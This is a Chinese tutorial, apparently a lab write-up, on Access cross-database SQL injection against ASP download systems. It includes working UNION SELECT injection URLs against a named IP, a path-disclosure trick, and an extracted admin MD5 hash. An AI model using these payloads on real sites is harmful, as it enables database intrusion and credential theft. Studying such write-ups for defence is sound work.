视频1 视频21 视频41 视频61 视频文章1 视频文章21 视频文章41 视频文章61 推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37 推荐39 推荐41 推荐43 推荐45 推荐47 推荐49 关键词1 关键词101 关键词201 关键词301 关键词401 关键词501 关键词601 关键词701 关键词801 关键词901 关键词1001 关键词1101 关键词1201 关键词1301 关键词1401 关键词1501 关键词1601 关键词1701 关键词1801 关键词1901 视频扩展1 视频扩展6 视频扩展11 视频扩展16 文章1 文章201 文章401 文章601 文章801 文章1001 资讯1 资讯501 资讯1001 资讯1501 标签1 标签501 标签1001 关键词1 关键词501 关键词1001 关键词1501 专题2001
Access的跨库查询
2020-11-09 07:19:35 责编:小采
文档


欢迎进入网络安全论坛,与300万技术人员互动交流 >>进入 大家还记得mssql的跨库查询吧,其实在access中也可以实现2个数据之间的交叉查询。下面我就给大家介绍下access的跨库查询。 首先让我们看看在access里是怎样实现对mdb文件进行查询的,我们随便创建个空

欢迎进入网络安全论坛,与300万技术人员互动交流 >>进入

大家还记得mssql的跨库查询吧,其实在access中也可以实现2个数据之间的交叉查询。下面我就给大家介绍下access的跨库查询。

首先让我们看看在access里是怎样实现对mdb文件进行查询的,我们随便创建个空数据库,对数据库D:\daos\db\daidalos.mdb里的admin表的内容进行查询,SQL语句为:

SELECT * from admin in "D:\daos\db\daidalos.mdb"



查询后,成功返回目标数据库里表admin表里的内容:



在实际的asp注射中,要同时进行2个select,如果大家熟悉php+mysql注射的话,应该很容易想到使用union进行联合查询,在access里我们照样可以使用,使用union查询还有一个好处就是不要去对数据进行一个一个字符的去猜,而可以象mysql+php注射一样直接暴出字段里的数据(具体的mix已经写了一篇详细的文章)。从上面可以看出来要实现跨库查询必修要下面2个条件:

  1. 使用union查询必须知道前一个select里表的字段数
  2. 必须知道目标数据库的所在位置,绝对路径。

条件1我们可以根据提示错误信息来手工猜解,也可以通过程序自动实现。

条件2 这个是个难点,不过我们可以通过利用“access暴库”来实现,有人会说既然可以知道数据位置,那不直接下载得拉,其实不然,现在的数据库一般防止下载,有的根本不web目录下。

在黑防第四轮实验室的第一关,就是设置的2个asp+access的下载系统,一个是雨点下载系统,一个是盗帅下载系统。 经过测试 盗帅下载系统可以暴出数据库但是不让下载,似乎也没什么地方可以注射,而雨点下载系统就是漏洞百出了,数据库可以暴且可以直接下载,还可以注射。不过雨点的后台很简单,没什么可以利用的地方,我们的目标就放在得到盗帅后台密码上了,下面我就给大家演示下,通过雨点系统的注射点对盗帅系统的跨库查询而得到盗帅的后台密码:

我们得知雨点系统的list.asp可以注射,我们先去要得到union里的数据表字段数,提交:

http://219.237.81.46/yddown/list.asp?id=75%20union%20select%201%20from%20userinfo

返回:

Microsoft JET Database Engine 错误 '80040e14'

在联合查询中所选定的两个数据表或查询中的列数不匹配。

/yddown/list.asp,行51

字段不对,我写了个perl脚本自动猜,(代码见后)

当我们提交:

http://219.237.81.46/yddown/list.asp?id=75%20union%20select%201,2,3%20from%20userinfo

无错误返回:





哈哈! 我们已经得到字段数了,并且我们可以得到在字段1的我位置,可以显示我们查询的数据。

现在还就差盗帅的数据库位置了,简单我们暴库,提交:

http://219.237.81.46/dsdown%5cregs.asp

成功返回路径:

Microsoft JET Database Engine 错误 '80004005'

'D:\111\db\kljdsld.asa'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/dsdown/db/user.asp,行6

(注意:这样得到的的路径不一定是“完整”的,真正的路径为:D:\111\dsdown\db\kljdsld.asa)

下面我们跨库,构造url如下:

http://219.237.81.46/yddown/list.asp?id=75%20union%20select%20admin,3,2%20from%20admin%20in%20"D:\111\dsdown\db\kljdsld.asa"%20where%20id=1

上面的语句是,union查询数据D:\111\db\kljdsld.asa里表admin里id=1的字段admin的数据,如果成功将直接暴出后台管理的用户名:



得到用户名为admin 我们接着暴密码:

http://219.237.81.46/yddown/list.asp?id=75%20union%20select%20pws,3,2%20from%20admin%20in%20"D:\111\dsdown\db\kljdsld.asa"%20where%20id=1

如图:



得到密码为32位的md5加密的hash:77e6cbb3f9468eadb655ae6826357922,我们跨库查询成功,这里我只是为大家演示下跨库查询,黑防那里就不管咯 : )。

小结

本文主要是给大家介绍了2个非常有用的方法,第1 我们在asp注射时不一顶要一个个字符去猜,那样遇到中文的很麻烦,直接用union替代数据可以直接暴出数据,不关是中文还是特殊字符,都可以一步到位,第2 就是跨库了,使用很灵活,可以让你在渗透时,有意想不到的收获。

下载本文
显示全文
专题